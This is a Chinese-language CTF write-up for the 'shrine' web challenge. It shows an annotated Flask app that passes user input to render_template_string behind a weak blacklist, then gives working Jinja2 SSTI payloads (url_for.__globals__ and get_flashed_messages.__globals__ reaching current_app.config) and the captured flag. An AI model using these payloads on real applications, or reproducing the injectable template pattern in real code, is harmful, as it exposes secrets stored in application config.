攻防世界-Web-shrine

知识点

1.SSTI

步骤

打开网站,是一份pythone flask框架代码,分析。

python 复制代码
import flask
import os

app = flask.Flask(__name__)
app.config["FLAG"] //将flag写入config中
l = os.environ.pop("FLAG")


@app.route("/")   //访问根目录,读取__file__的内容
def index():
    return open(__file__).read()


@app.route("/shrine/")
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace("(", "").replace(")", "") //过滤括号
        blacklist = ["config", "self"]    //黑名单,过滤config和self
        return "".join(["{{% set {}=None%}}".format(c) for c in blacklist]) + s //按照黑名单的过滤

    return flask.render_template_string(safe_jinja(shrine))  //存在模版注入


if __name__ == "__main__":
    app.run(debug=True)

可以发现在config中存在flag,所以目标就是读取config

1.测试模版注入

2.正常读取config

发现被过滤成None

3.尝试其他读取方式

使用get_flashed_messages或者url_for.__globals读取config

python 复制代码
{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config}}

flag{shrine_is_good_ssti}

相关推荐
曲幽1 天前
你的REST接口还在“过度投喂”数据吗?——FastAPI + GraphQL实战避坑指南
python·fastapi·web·graphql·route·cors·rest·strawberry
带刺的坐椅3 天前
Spring Boot → Solon 注解迁移实战指南:一张对照表说清楚
java·springboot·web·solon
曲幽7 天前
刚部署的 LibreTranslate 频频翻车?我掏出了 20 年前的 StarDict 词典,用 FastAPI 搭了个本地词典翻译 API
python·fastapi·web·translate·goldendict·libretranslate·stardict·pystardict
曲幽8 天前
别再用网页翻译看源码了!你的私人翻译神器LibreTranslate,部署避坑指南来了
python·docker·web·pot·translate·libretranslate·arogstranslate
零零信安13 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
憧憬成为web高手13 天前
l33t-hoster
学习·web安全·网络安全
HackTwoHub13 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全
爱网络爱Linux13 天前
网络安全与渗透测试实用工具大全
web安全·网络安全·信息安全·cisp-pte·cisp·cissp
xsc-xyc13 天前
用 Tailscale + Syncthing 实现手机、电脑与 NAS 的跨网络文件同步
linux·网络·网络安全·智能手机·电脑
持敬chijing13 天前
Web渗透之SQL注入-常用sql语句
sql·安全·web安全·网络安全